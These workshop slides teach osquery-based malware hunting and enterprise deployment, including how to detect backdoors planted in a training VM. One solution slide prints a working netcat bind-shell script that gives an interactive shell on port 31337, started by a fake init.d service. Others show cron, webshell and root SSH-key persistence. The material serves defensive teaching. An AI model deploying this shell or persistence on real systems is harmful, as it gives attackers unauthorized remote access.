Slide 1

Slide 1 text

Hunting Malware at Scale with osquery Now with more Cyber!

Slide 2

Slide 2 text

Initial Setup ● Connect to the osquery-lab WiFi (password: osqueryrocks) ● All of the components of this lab are on the USB Thumb Drives ○ We know, hilarious right? ● Copy all the contents locally while we talk for expedited hacking ○ If you want :P ● Install VirtualBox. Installers under the virtualbox-installers dir. ● Double click the .vbox file under /vms ○ Or add the virtual machine, however you wanna do that. ● Login to the box using the credentials user: vagrant pass: vagrant ○ Either inside of VirtualBox, or use Term, iTerm, PuTTY(Installer in /util) $ ssh -p 2222 vagrant@localhost

Slide 3

Slide 3 text

Initial Setup ● Lasty - After you’ve logged in, reboot your machine :) sudo reboot

Slide 4

Slide 4 text

Initial Setup ● Everything should be documented: ○ http://osquery.readthedocs.io/en/stable/ ● The source for these docs lives within the repo: ○ https://github.com/facebook/osquery/tree/master/docs ● Anything that is not documented should become an issue ○ https://github.com/facebook/osquery/issues ● Please please please, file and address issues ○ There are 100+ contributors ○ We strive to be as nice and accommodating as possible! ● Join our Slack discussion ○ https://osquery-slack.herokuapp.com/ ● Direct message theopolis if you need anything whatsoever

Slide 5

Slide 5 text

whoami (we?) ● Facebook Security Engineering ○ Detection Infrastructure ■ Nick Anderson (@PoppySeedPlehzr) ■ Sereyvathana Ty ■ Ted Reed ■ Matt Moran ○ Threats and Signal Analysis ■ April Eubank ● Uber Engineering Security Team ○ Platform Security ■ Javier Marcos (@javutin)

Slide 6

Slide 6 text

Road Map Part I - Hunting malware with osquery ● Intro to osquery and SQL ● Lab 1 - osquery usage and basics ● Intro to Linux forensics ● Lab 2 - Malware hunting with osquery Part II - Scaling osquery to an enterprise ● Enterprise architecture and osqueryd deployment ● osqueryd configuration and packs ● Lab3 - Deploying osquery at scale Part III - FIM and process auditing ● osqueryd for file integrity monitoring ● osqueryd for process auditing Part IV - Open source development, and beyond! ● osquery - Under the hood ● Lab 4 - Writing custom python extensions ● Lab 5 - Writing custom table extensions

Slide 7

Slide 7 text

What is osquery? ● Facebook’s Host Intrusion Detection Agent ● Exposes the OS as a high performance relational database queryable with SQL ● Offers host visibility inspired by intrusion detection and response ● 100% OS API usage - no fork execve

Slide 8

Slide 8 text

Why SQL? ● SQL: Structured Query Language ○ Language designed for managing data held in relational databases or stream processing. ○ Used by many relational databases (for example, Sqlite, MySQL, MSSQL, ...) ● Many developers and admins are familiar with SQL ● Core concepts of SQL are platform agnostic ● Core concepts have attributes ○ User ids, process ids, descriptors, ports, paths, ... SELECT pid, name, uid FROM processes

Slide 9

Slide 9 text

Why SQL? SELECT pid, name, uid FROM processes [concept]

Slide 10

Slide 10 text

Why SQL? SELECT pid, name, uid FROM processes [concept] [attributes]

Slide 11

Slide 11 text

Why SQL? SELECT pid, name, uid FROM processes WHERE uid != 0 [concept] [attributes] [constraints]

Slide 12

Slide 12 text

Why SQL? SELECT pid, name, username FROM processes JOIN users ON processes.uid=users.uid WHERE uid != 0 [constraints] [join] [attribute]

Slide 13

Slide 13 text

Lab 1: Navigating osquery ● Take a moment to double check that your lab is up and running ● Note: Use the left Command (Ctrl on Win) button to “escape” the client VM

Slide 14

Slide 14 text

No content

Slide 15

Slide 15 text

Lab 1: Navigating osquery ● Logs from these VMs are being sent to our SIEM for Part II ● It’s helpful to have a second terminal open

Slide 16

Slide 16 text

Lab 1: Navigating osquery vagrant@DC24-osquery-ubuntu:~$ sudo osqueryi osquery - being built, with love, at Facebook ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Using a virtual database. Need help, type '.help' osquery> osquery> .help Welcome to the osquery shell. Please explore your OS! You are connected to a transient 'in-memory' virtual database. .all [TABLE] Select all from a table ... osquery> .tables … => process_open_sockets => processes => quicklook_cache …

Slide 17

Slide 17 text

Lab 1: Navigating osquery osquery> PRAGMA table_info('system_info'); +-----+--------------------+---------+---------+------------+----+ | cid | name | type | notnull | dflt_value | pk | +-----+--------------------+---------+---------+------------+----+ | 0 | hostname | TEXT | 0 | | 0 | | 1 | uuid | TEXT | 0 | | 0 | … … … … … … osquery> .schema listening_ports CREATE TABLE listening_ports(`pid` INTEGER, `port` INTEGER, `protocol` INTEGER, `family` INTEGER, `address` TEXT); osquery> SELECT * FROM processes; … osquery> .mode line osquery> SELECT * FROM processes LIMIT 1; pid = 1 name = launchd path = /sbin/launchd cmdline = …

Slide 18

Slide 18 text

Lab 1: Navigating osquery osquery> .help Welcome to the osquery shell. Please explore your OS! You are connected to a transient 'in-memory' virtual database. .all [TABLE] Select all from a table .bail ON|OFF Stop after hitting an error; default OFF .echo ON|OFF Turn command echo on or off .exit Exit this program .header(s) ON|OFF Turn display of headers on or off .help Show this message .mode MODE Set output mode where MODE is one of: csv Comma-separated values column Left-aligned columns. (See .width) line One value per line list Values delimited by .separator string pretty Pretty printed SQL results

Slide 19

Slide 19 text

Lab 1: Navigating osquery 1.) What is the system hostname? 2.) What users exist on the system? 3.) What processes are running? 4.) Write a query that will list all processes which are running and listening on a port. 5.) (Bonus) Add the path of the files that originated these processes as well as the md5 hash of the file that originated them.

Slide 20

Slide 20 text

Lab 1: Answers 1.) What is the system hostname? SELECT hostname FROM system_info; 2.) What users exist on the system? SELECT uid, username FROM users; 3.) What processes are running? SELECT pid, name, path FROM processes; 4.) Write a query that will list all processes which are running and listening on a port. SELECT p.pid, p.name, p.path, s.port, s.address FROM processes AS p JOIN listening_ports AS s ON s.pid = p.pid;

Slide 21

Slide 21 text

Lab 1: Answers (Bonus) Add the path of the files that originated these processes as well as the hash of the file that originated them. SELECT p.pid, p.name, f.path, h.md5, s.port, s.address FROM processes AS p JOIN listening_ports AS s ON s.pid = p.pid JOIN file as f ON f.path = p.path JOIN hash as h ON h.path = p.path;

Slide 22

Slide 22 text

Analyzing signal with osquery ● Gone are the days of AV ● Enter the days of the host based IDS ● Typically searching for an indicator of compromise (IoC) ○ Odd user behavior or administrative accesses ○ Strange behavior in logs ○ Unknown processes that launch at system start ○ ... ● Many and more IoCs to be found in Open Source Intel feeds ● Think locally, scale globally

Slide 23

Slide 23 text

Linux Forensics using osquery ● Goal: Fingerprint the system and search for anomalies ● Hal Pomeranz, Linux Forensics (for Non-Linux Folks): http://goo.gl/MXfvde → http://urlex.org/ ● “Everything in Linux is a file” (/proc, /dev, …) ● Some differences from Windows: ○ Ext4 vs NTFS - Not hugely relevant for us, but worth keeping in mind ○ No system registry - See note above ● CLI is love, CLI is life

Slide 24

Slide 24 text

Some Basic CLI Commands man - The most important of all, the Manpages cat - display the contents of a specified file less - scroll through the contents of a file cp - Copy a file to a specified location rm - Remove. Add a `-r` to `recurse` and delete directories su/sudo - Switch User/Switch User Do, escalate privs. mkdir - Make directory cd - Change directory ps - List of running processes grep - Globally search a Regex and Print. Text search. file - Attempt to identify the specified file type strings - Display all ASCII printable strings in a file nano - A simple text editor. Ctrl-o and Ctrl-x are ‘save’ and ‘exit’ Ctrl-R/S - Reverse/Forward search through your command history Tab Completion - Finish eachothers… sent… ennnncessssss…?

Slide 25

Slide 25 text

Or just use osquery ● Recall some of the osqueryi functionality we explored earlier: ○ .tables ○ .schema ○ PRAGMA table_info(‘[table name]’); ● Many of the commands on the previously slide can be answered, and extended, using osquery tables explored in Lab 1. ● Use sudo osqueryi as many columns will not show up otherwise.

Slide 26

Slide 26 text

Lab 2: Discovery and Analysis with osquery ● Spend the next 20 minutes investigating the VM ● We’ve hidden three major backdoors, and a variety of security issues ● You’ll find it beneficial to have a second terminal running ○ Osquery can’t do everything. Yet. ● Reports encouraged ● Questions are highly encouraged

Slide 27

Slide 27 text

Good questions for analysis: What starts when the system boots? What users exist? What services exist? What services _should_ exist? What does the network look like? What logs are available? Good osquery tables to recall: listening_ports processes crontab users File hash Good locations to check: /etc/passwd (User Accounts) /etc/group (Group membership) /etc/sudoers (Admin level users) /etc/init.d (Auto start services) /var/log/syslog (System logs) /var/log/authlog (Authentication Logs) /home/ (User home directories) /home/$USER/.ssh (ssh keys, configs, …) /etc/hosts (Static host IPs) /etc/network/interfaces (Static eth IPs) /etc/apache2/sites-enabled/ (Web server config) More Good locations to check: /var/log/wtmp (User login history) /var/log/secure (More auth logs) /var/log/auth.log (More auth logs) /var/log/audit/audit.log(More auth logs) /etc/cron* (Scheduled tasks) /var/spool/cron/* (More schedule tasks) $HOME/.bash_history (Command history) /var/log/sudo.log (sudo command hist) Lab 2: Discovery and Analysis with osquery

Slide 28

Slide 28 text

Lab 2 Solutions ● All of the provisioning scripts in the ./vagrant folder will tell you specifically what was done Look only if you want to cheat! ● Let’s walk through some of the bigger backdoors and how you might have discovered them

Slide 29

Slide 29 text

Enumerate the users The only user we were told of was Bilbo Baggins. osquery> select * from users where uid > 1000; +-------+-------+------------+------------+----------+-------------+----------------+-------------------+------+ | uid | gid | uid_signed | gid_signed | username | description | directory | shell | uuid | +-------+-------+------------+------------+----------+-------------+----------------+-------------------+------+ | 65534 | 65534 | 65534 | 65534 | nobody | nobody | /nonexistent | /usr/sbin/nologin | | | 1001 | 1001 | 1001 | 1001 | ubuntu | Ubuntu | /home/ubuntu | /bin/bash | | | 1002 | 1002 | 1002 | 1002 | samwise | | /home/samwise | /bin/bash | | | 1003 | 1003 | 1003 | 1003 | bbaggins | | /home/bbaggins | /bin/bash | | | 1004 | 1004 | 1004 | 1004 | fbaggins | | /home/fbaggins | /bin/bash | | | 1005 | 1005 | 1005 | 1005 | gandalf | | /home/gandalf | /bin/bash | | | 1006 | 1006 | 1006 | 1006 | gollum | | /home/gollum | /bin/bash | | +-------+-------+------------+------------+----------+-------------+----------------+-------------------+------+

Slide 30

Slide 30 text

Slide 31

Slide 31 text

rooty backdoor vagrant@DC24-osquery-ubuntu:~$ sudo osqueryi osquery> .mode line osquery> select event, path, command from crontab; event = path = /etc/crontab command = root cd / && run-parts --report /etc/cron.hourly event = path = /etc/crontab command = root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) … event = @reboot path = /var/spool/cron/crontabs/root command = /etc/ /h0bbit.sh ← Fascinating... event = @reboot path = /var/spool/cron/crontabs/root command = /var/html/.../rooty ← Curiouser and Curiouser!

Slide 32

Slide 32 text

rooty backdoor Some more information about the file osquery> select * from file where path="/var/html/.../rooty"; path = /var/html/.../rooty directory = /var/html/... filename = rooty inode = 267976 uid = 0 gid = 0 mode = 0755 device = 0 size = 1112464 block_size = 4096 atime = 1470166802 mtime = 1470166802 ctime = 1470166802 btime = 0 hard_links = 1 type = regular … vagrant@DC24-osquery-ubuntu:~$ ls -al "/var/html/.../rooty" -rwxr-xr-x 1 root root 1112464 Aug 2 19:40 /var/html/.../rooty

Slide 33

Slide 33 text

Enumerating listening ports vagrant@DC24-osquery-ubuntu-ospp9P1J:~$ sudo netstat -lpnut Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 606/rpcbind tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1014/sshd tcp 0 0 0.0.0.0:41096 0.0.0.0:* LISTEN 685/rpc.statd tcp 0 0 0.0.0.0:31337 0.0.0.0:* LISTEN 1093/nc osquery> select p.pid, p.path, p.name, s.port, s.address from processes as p JOIN listening_ports as s ON s.pid = p.pid; +------+-------------------+-------------+-------+--------------------------+ | pid | path | name | port | address | +------+-------------------+-------------+-------+--------------------------+ | 1014 | /usr/sbin/sshd | sshd | 22 | 0.0.0.0 | | 1014 | /usr/sbin/sshd | sshd | 22 | :: | | 1072 | /usr/sbin/mysqld | mysqld | 3306 | 127.0.0.1 | | 1093 | /bin/nc.openbsd | nc | 31337 | 0.0.0.0 | | 1373 | /usr/sbin/ntpd | ntpd | 123 | 10.0.2.15 |

Slide 34

Slide 34 text

Auditing init.d vagrant@DC24-osquery-ubuntu-ospp9P1J:~$ ls -al /etc/init.d/ total 264 drwxr-xr-x 2 root root 4096 Aug 4 02:09 . drwxr-xr-x 104 root root 4096 Aug 4 21:01 .. -rwxr-xr-x 1 root root 2243 Apr 3 2014 acpid -rwxr-xr-x 1 root root 9974 Jan 7 2014 apache2 … -rwxr-xr-x 1 root root 896 Nov 1 2013 cryptdisks-early -rwxr-xr-x 1 root root 4276 Aug 4 02:09 tmp_spool -rwxr-xr-x 1 root root 6173 Apr 14 2014 udev -rwxr-xr-x 1 root root 2721 Mar 13 2014 umou

Slide 35

Slide 35 text

Auditing init.d vagrant@DC24-osquery-ubuntu-ospp9P1J:~$ head -n 50 /etc/init.d/tmp_spool #! /bin/sh … # Author: Foo Bar # # Please remove the "Author" lines above and replace them # with your own name if you copy and modify this script. # Do NOT "set -e" # PATH should only include /usr/* if it runs after the mountnfs.sh script PATH=/sbin:/usr/sbin:/bin:/usr/bin DESC="Temp spooling service" NAME=tmp_spool DAEMON="/etc/tmp_spool/start_spool.sh"

Slide 36

Slide 36 text

Auditing init.d vagrant@DC24-osquery-ubuntu-ospp9P1J:~$ head -n 50 /etc/init.d/tmp_spool #! /bin/sh … # Author: Foo Bar … # PATH should only include /usr/* if it runs after the mountnfs.sh script PATH=/sbin:/usr/sbin:/bin:/usr/bin DESC="Temp spooling service" NAME=tmp_spool DAEMON="/etc/tmp_spool/start_spool.sh" vagrant@DC24-osquery-ubuntu-ospp9P1J:~$ cat /etc/tmp_spool/start_spool.sh #!/bin/bash rm -f /tmp/f && sudo mkfifo /tmp/f $(cat /tmp/f | /bin/sh -i 2>&1 | nc -k -l 0.0.0.0 31337 > /tmp/f) &

Slide 37

Slide 37 text

PHP Backdoor osquery> select p.pid, p.name, s.port, s.address from processes as p join listening_ports as s on s.pid = p.pid; +------+---------------+-------+-----------+ | pid | name | port | address | +------+---------------+-------+-----------+ | 1044 | mysqld | 3306 | 127.0.0.1 | | 1183 | apache2 | 80 | :: | ← Interesting. What is apache2 doing on this box? | 1597 | sshd | 22 | 0.0.0.0 | | 1597 | sshd | 22 | :: | | 420 | systemd-udevd | 0 | | | 510 | dhclient | 54313 | 0.0.0.0 | | 510 | dhclient | 68 | 0.0.0.0 | | 510 | dhclient | 56963 | :: | | 596 | rpcbind | 111 | 0.0.0.0 | | 596 | rpcbind | 111 | :: | | 596 | rpcbind | 111 | 0.0.0.0 | | 654 | rpc.statd | 35278 | 0.0.0.0 | | 654 | rpc.statd | 48946 | :: | | 654 | rpc.statd | 57702 | 0.0.0.0 | | 654 | rpc.statd | 830 | 127.0.0.1 | | 654 | rpc.statd | 44477 | :: | +------+---------------+-------+-----------+

Slide 38

Slide 38 text

PHP Backdoor Looks to be the default apache2 config: vagrant@DC24-osquery-ubuntu:/var/www/html$ cat /etc/apache2/sites-enabled/000-default.conf … ServerAdmin webmaster@localhost DocumentRoot /var/www/html … ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined …

Slide 39

Slide 39 text

PHP Backdoor Inside of the webroot, we see a wordpress installation. vagrant@DC24-osquery-ubuntu:/var/www/html$ ls -al /var/www/html total 204 drwxr-xr-x 6 root root 4096 Aug 2 18:49 . drwxr-xr-x 3 root root 4096 Aug 2 18:49 .. -rw-r--r-- 1 root root 11510 Aug 2 18:49 index.html -rw-r--r-- 1 root root 418 Aug 2 18:49 index.php -rw-r--r-- 1 root root 19929 Aug 2 18:49 license.txt -rw-r--r-- 1 root root 7185 Aug 2 18:49 readme.html drwxr-xr-x 5 root root 4096 Nov 20 2014 wordpress -rw-r--r-- 1 root root 4892 Aug 2 18:49 wp-activate.php drwxr-xr-x 9 root root 4096 Aug 2 18:49 wp-admin -rw-r--r-- 1 root root 271 Aug 2 18:49 wp-blog-header.php -rw-r--r-- 1 root root 4795 Aug 2 18:49 wp-comments-post.php -rw-r--r-- 1 root root 3069 Aug 2 18:49 wp-config.php -rw-r--r-- 1 root root 3087 Aug 2 18:49 wp-config-sample.php drwxr-xr-x 5 root root 4096 Aug 2 18:49 wp-content -rw-r--r-- 1 root root 2932 Aug 2 18:49 wp-cron.php drwxr-xr-x 12 root root 4096 Aug 2 18:49 wp-includes -rw-r--r-- 1 root root 2380 Aug 2 18:49 wp-links-opml.php -rw-r--r-- 1 root root 2359 Aug 2 18:49 wp-load.php …

Slide 40

Slide 40 text

PHP Backdoor Looks like this box is hosting a pretty outdated version of Wordpress: vagrant@DC24-osquery-ubuntu:/var/www/html$ top -n 20 readme.html top: unknown option 'r' Usage: top -hv | -bcHiOSs -d secs -n max -u|U user -p pid(s) -o field -w [cols] vagrant@DC24-osquery-ubuntu:/var/www/html$ head -n 20 readme.html WordPress › ReadMe

Version 3.8.5

Slide 41

Slide 41 text

PHP Backdoor ...Aaaand is hiding a PHP backdoor that is word executable. vagrant@DC24-osquery-ubuntu:/var/www/html$ ls -al wp-content/uploads/ total 16 drwxr-xr-x 2 root root 4096 Aug 2 18:49 . drwxr-xr-x 5 root root 4096 Aug 2 18:49 .. -rwxrwxr-x 1 root root 5491 Aug 2 18:49 d0or.php

Slide 42

Slide 42 text

Lab 2 Solutions ● All of the solutions are in the vagrant provisioning scripts on your thumb drive /vagrant/lib.sh ● PHP backdoor /var/www/wordpress/wp-content/uploads/d0or.php ● rooty backdoor “/var/html/…” ● nc backdoors “/etc/ /” ● Everyone gets admin! admin:x:110:samwise,bbaggins,fbaggins,gandalf,gollum,bin,www-data ● Everyone gets ssh as root! root@DC24-osquery-ubuntu:/home/vagrant# cat /root/.ssh/authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDb9YyrvSQModHNrbOrLXs9sFwZXPWRarRDFE9LVVl1MxEr3AEn afn8PU3fnELHSvPNlf…… ● Lots of janky configs for services that probably shouldn’t be installed.

Slide 43

Slide 43 text

Slide 44

Slide 44 text

How to scale osquery? ● osqueryi VS osqueryd ● osqueryd configuration ○ /etc/osquery/osquery.conf ○ Scheduled queries ○ JSON logs written ● Packs: groups of queries to be added to the osquery schedule ○ https://osquery.io/docs/packs/ { "name":"this-is-query-name", "hostIdentifier":"target-hostname", "unixTime":"1470182990", "columns": { "key":"SSH_CLIENT", "Pid":"16794", "value":"10.0.2.2 51980 22" }, "action":"added" } sample log entry

Slide 45

Slide 45 text

How to scale osquery ● What to do with all the logs? ○ osqueryd + TLS plugin ○ osqueryd + Forwarder ● Server to collect logs ○ ELK (Elasticsearch + Logstash + Kibana) ○ Splunk ● osquery management ○ Doorman (https://github.com/mwielgoszewski/doorman) ○ Windmill (https://github.com/heroku/windmill)

Slide 46

Slide 46 text

No content

Slide 47

Slide 47 text

Client: osqueryd configuration "options": { "config_plugin": "filesystem", "logger_plugin": "filesystem", "logger_path": "/var/log/osquery", "events_expiry": "3600", "worker_threads": "2", "enable_monitor": "true" }, "packs": { "defcon24-workshop":"defcon24-workshop.conf" } /etc/osquery/osquery.conf

Slide 48

Slide 48 text

Client: osquery custom pack /usr/share/osquery/packs/defcon24-workshop.conf "queries": { "crontab": { "query" : "select * from crontab;", "interval" : "60", "version" : "1.4.5", "description" : "Retrieves all the jobs scheduled in crontab in the target system.", "value" : "Identify malware that uses this persistence mechanism to launch at a given interval" }, "etc_hosts": { "query" : "select * from etc_hosts;", "interval" : "60", "version" : "1.4.5", "description" : "Retrieves all the entries in the target system /etc/hosts file.", "value" : "Identify network communications that are being redirected. Example: identify if security logging has been disabled" }, ...

Slide 49

Slide 49 text

Client: Filebeat forwarder paths: - /var/log/osquery/osqueryd.results*.log input_type: log document_type: json fields: type: osquery_json codec: json json: message_key: message … output: logstash: hosts: ["LOGSTASH_SERVER_IP:PORT"] bulk_max_size: 1024 tls: certificate_authorities: ["/etc/pki/tls/certs/logstash-forwarder.crt"] /etc/filebeat/filebeat.yml

Slide 50

Slide 50 text

Server: Logstash (input) input { beats { port => 5044 ssl => true ssl_certificate => "/etc/pki/tls/certs/logstash-forwarder.crt" ssl_key => "/etc/pki/tls/private/logstash-forwarder.key" codec => "json" } } /etc/logstash/conf.d/02-beats-input.conf

Slide 51

Slide 51 text

Server: Logstash (filter) filter { if [type] == "osquery_json" { json { source => "message" } date { match => [ "unixTime", "UNIX" ] } } } /etc/logstash/conf.d/10-osquery-filter.conf

Slide 52

Slide 52 text

Server: Logstash (output) output { elasticsearch { hosts => ["localhost:9200"] sniffing => true manage_template => false index => "%{[@metadata][beat]}-%{+YYYY.MM.dd}" document_type => "%{[@metadata][type]}" } } /etc/logstash/conf.d/30-elasticsearch-output.conf

Slide 53

Slide 53 text

Server: Elasticsearch network.host: localhost /etc/elasticsearch/elasticsearch.yml

Slide 54

Slide 54 text

Server: Kibana server.host: “localhost” /opt/kibana/config/kibana.yml

Slide 55

Slide 55 text

Server: Kibana nginx server { listen 80; auth_basic "Restricted Access"; auth_basic_user_file /etc/nginx/htpasswd.users; location / { proxy_pass http://localhost:5601; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection 'upgrade'; proxy_set_header Host $host; proxy_cache_bypass $http_upgrade; } } /etc/nginx/sites-available/default

Slide 56

Slide 56 text

Server: Kibana index pattern curl -XPUT http://localhost:9200/.kibana/index-pattern/filebeat-* -d '{"title" : "filebeat-*", "timeFieldName": "@timestamp"}' curl -XPUT http://localhost:9200/.kibana/config/4.4.2 -d '{"defaultIndex" : "filebeat-*"}'

Slide 57

Slide 57 text

Architectural overview - Splunk -Monolithic(small) or Distributed(large)

Slide 58

Slide 58 text

Splunk configuration ● Splunk Forwarder ○ - inputs.conf [monitor:///var/log/osquery/osqueryd.results.log] index = main sourcetype = osqueryd.results ● Search Head ○ Osquery.app /opt/splunk/etc/apps/spl_osquery

Slide 59

Slide 59 text

Osquery app Investigator

Slide 60

Slide 60 text

Osquery app Processes

Slide 61

Slide 61 text

Osquery app FIM

Slide 62

Slide 62 text

Osquery app Rare Events

Slide 63

Slide 63 text

Lab 3: Deploying osquery at scale ● Client: osqueryd ○ Check daemon is running ○ Check configuration ■ Check pack queries and intervals ■ Check logs are being written ● Client: Filebeat/Splunk Forwarder ○ Check daemon is running ○ Check configuration ■ Check certificates ■ Check server details

Slide 64

Slide 64 text

Lab 3: Deploying osquery at scale ● Client: osqueryd ○ Check daemon is running -> service osqueryd status ○ Check configuration ■ Check pack queries and intervals -> /etc/osquery/osquery.conf ■ Check logs are being written -> /var/log/osquery/* ● Client: Filebeat/Splunk Forwarder ○ Check daemon is running -> service filebeat status ○ Check configuration ■ Check certificates -> /etc/pki/tls/certs/logstash-forwarder.crt ■ Check server details -> /etc/filebeat/filebeat.yml

Slide 65

Slide 65 text

Lab 3: Deploying osquery at scale ● Client: osqueryd ○ Check daemon is running -> service osqueryd status ○ Check configuration ■ Check pack queries and intervals -> cat /etc/osquery/osquery.conf ■ Check logs are being written -> /var/log/osquery ● Client: Filebeat/Splunk Forwarder ○ Check daemon is running -> service filebeat status ○ Check configuration ■ Check certificates -> /etc/pki/tls/certs/logstash-forwarder.crt ■ Check server details -> /etc/filebeat/filebeat.yml Tables: osquery_info, osquery_packs, osquery_schedule

Slide 66

Slide 66 text

Lab 3: Deploying osquery at scale ● Server: ○ Elasticsearch ■ Check elasticsearch configuration/status ○ Logstash ■ Check logstash configuration/status ○ Kibana ■ Check kibana configuration/status ■ Nginx configuration/status ● Server: ○ Do you see any logs flowing? ○ Can you search for fields? ○ Can you draw dashboards? Kibana: https://osquery.rocks Splunk: https://osquery.rocks:8000

Slide 67

Slide 67 text

Lab 3: Deploying osquery at scale ● Server: ○ Elasticsearch ■ Check elasticsearch configuration/status -> service elasticsearch status ○ Logstash ■ Check logstash configuration/status -> service logstash status ○ Kibana ■ Check kibana configuration/status -> service kibana status ■ Nginx configuration/status -> service nginx status ● Server: ○ Do you see any logs flowing? ○ Can you search for fields? ○ Can you draw dashboards?

Slide 68

Slide 68 text

Lab 3: Deploying osquery at scale ● Server: ○ Elasticsearch ■ Check elasticsearch configuration/status -> /etc/elasticsearch/elasticsearch.yml ○ Logstash ■ Check logstash configuration/status -> /etc/logstash/conf.d/ ○ Kibana ■ Check kibana configuration/status -> /opt/kibana/config/kibana.yml ■ Nginx configuration/status -> /etc/nginx/sites-enables/default ● Server: ○ Do you see any logs flowing? ○ Can you search for fields? ○ Can you draw dashboards? Kibana: https://osquery.rocks Splunk: https://osquery.rocks:8000

Slide 69

Slide 69 text

Slide 70

Slide 70 text

File integrity monitoring Our interpretation is “file-related events” and hashing contents when they occur "file_paths": { "homes": ["/home/*"] }, /etc/osquery/osquery.conf

Slide 71

Slide 71 text

File integrity monitoring Our interpretation is “file-related events” and hashing contents when they occur "file_paths": { "homes": ["/home/*"] } /etc/osquery/osquery.conf Edit me! Add this!

Slide 72

Slide 72 text

File integrity monitoring $ osqueryi --config_check --config_path /etc/hosts [1] $ $ osqueryi --config_check --config_path /etc/osquery/osquery.conf $ Use --config_check to validate your JSON

Slide 73

Slide 73 text

"file_paths": { "homes": ["/home/*"] } File integrity monitoring /etc/osquery/osquery.conf What will this monitor?

Slide 74

Slide 74 text

File integrity monitoring "file_paths": { "homes": ["/home/**"] } /etc/osquery/osquery.conf How about this? http://osquery.readthedocs.io/en/stable/deployment/file-integrity-monitoring/

Slide 75

Slide 75 text

File integrity monitoring "file_paths": { "homes": ["/home/**"], "etc": [ "/etc/ssh/*", "/etc/mach_init.d/*", "/etc/security/*", "/etc/*" ] } /etc/osquery/osquery.conf http://osquery.readthedocs.io/en/stable/deployment/file-integrity-monitoring/

Slide 76

Slide 76 text

Slide 77

Slide 77 text

File integrity monitoring $ osqueryi --verbose --nodisable_events [...] Added file event listener to: /private/etc/ssh/* [...] Added file event listener to: /private/etc/mach_init.d/* [...] Added file event listener to: /private/etc/security/* [...] Added file event listener to: /private/etc/* [...] Added file event listener to: /home/** osquery> select * from file_events; osquery> CTRL+Z [1] + 60644 suspended osqueryi --verbose --nodisable_events [146] $ $ touch ~/hello-osquery-workshop $ fg [1] + 60644 continued osqueryi --verbose --nodisable_events osquery> select * from file_events;

Slide 78

Slide 78 text

Slide 79

Slide 79 text

Process auditing On Linux, this uses the kernel’s audit subsystem On OS X, this uses a custom kernel extension Linux Requirements: 1. Cannot run auditd (the Linux netlink socket does not multiplex) 2. --nodisable_audit 3. --audit_persist 4. --audit_allow_config If you want to write the BSD userland audit integration LMK! http://osquery.readthedocs.io/en/stable/deployment/process-auditing/

Slide 80

Slide 80 text

Process auditing "options": { "disable_audit": false, "audit_persist": true, "audit_allow_config": true, [...] } /etc/osquery/osquery.conf For the Linux daemon, add the following options to your config.

Slide 81

Slide 81 text

Process auditing $ osqueryi --nodisable_events --nodisable_audit --audit_allow_config \ --audit_persist osquery> select * from process_events; osquery> CTRL+Z [1] + 60677 suspended osqueryi [146] $ $ echo hellofriend $ fg [1] + 60677 continued osqueryi osquery> select * from process_events;

Slide 82

Slide 82 text

Slide 83

Slide 83 text

Development: Under the hood - C++11 - Clang (required) - Boost 1.60 - Facebook RocksDB - Apache Thrift - Google logging, flags, mock, testing - AWS SDK - OpenSSL - and tons more…. Designed to be deployed to anything! Requirements: 1. Glibc 2.12 (anything 2010+) 2. libz 3. libgcc_s 4. x86_64

Slide 84

Slide 84 text

Development Workflow - Building 1. Clone the code https://github.com/facebook.osquery.git 2. For linux VM, checkout Vagrantfile in the root of the project 3. Go into osquery folder and run: make deps && make 4. ??? 5. Profit Ref: https://osquery.readthedocs.io/en/stable/development/building/

Slide 85

Slide 85 text

Development Workflow - Testing There are many macros that you can use to test osquery: make # Default optimized configure/build make test # Test the default build make debug # Configure and build non-optimized with debuginfo make test_debug # Test the debug build make build # Skip the CMake project configure (compile only) make debug_build # Same as build, but applied to the debug target make test_debug_build # Take a guess ;) make clean # Clean the CMake project configuration make distclean # Clean all cached information and build dependencies Ref: https://osquery.readthedocs.io/en/stable/development/unit-tests/

Slide 86

Slide 86 text

Development Workflow - Formatting Formatting code: make format # Apply clang-format using osquery's format spec* make format-all # Not recommended but formats the entire code base Analyzing code: make analyze # Run clean first, then rebuild with the LLVM static analyzer make sanitize # Run clean first, then rebuild with sanitations

Slide 87

Slide 87 text

Development Workflow - Writing Writing osquery code workflow: 1. Fork facebook/osquery github 2. Write code 3. Build the code (make deps && make) 4. Repeat 1 and 2 until you are happy 5. Write test cases and test your code (make test) 6. Repeat 5 until you are happy 7. Analyze the code (make analyze && make sanitize) 8. Formatting (make format) 9. Put up the pull request

Slide 88

Slide 88 text

Python Bindings In osquery, SQL tables, configuration retrieval, log handling, etc are implemented via a simple, robust plugin and extensions API. The Python bindings allow you to create osquery extensions in Python.

Slide 89

Slide 89 text

Python Bindings - Installing From osquery/osquery-python github: $ pip install git+git://github.com/osquery/osquery-python.git From pip package management $ pip install osquery

Slide 90

Slide 90 text

Python Bindings - Playing import osquery if __name__ == "__main__": instance = osquery.SpawnInstance() instance.open() instance.client.query("select timestamp from time")

Slide 91

Slide 91 text

Python Bindings - Playing import osquery # <- Import the python module if __name__ == "__main__": instance = osquery.SpawnInstance() instance.open() instance.client.query("select timestamp from time")

Slide 92

Slide 92 text

Python Bindings - Playing import osquery # <- Import the python module if __name__ == "__main__": # Spawn an osquery process using an ephemeral extension socket. instance = osquery.SpawnInstance() instance.open() # <- open the instance to talk instance.client.query("select timestamp from time")

Slide 93

Slide 93 text

Python Bindings - Playing import osquery # <- Import the python module if __name__ == "__main__": # Spawn an osquery process using an ephemeral extension socket. instance = osquery.SpawnInstance() instance.open() # <- open the instance to talk # Issues queries and call osquery Thrift APIs. print(instance.client.query("select timestamp from time"))

Slide 94

Slide 94 text

Python Bindings - Running $ python simply.py # Running our code ExtensionResponse(status=ExtensionStatus(message='OK', code=0, uuid=0), response=[{'timestamp': 'Mon Aug 1 19:09:43 2016 UTC'}])

Slide 95

Slide 95 text

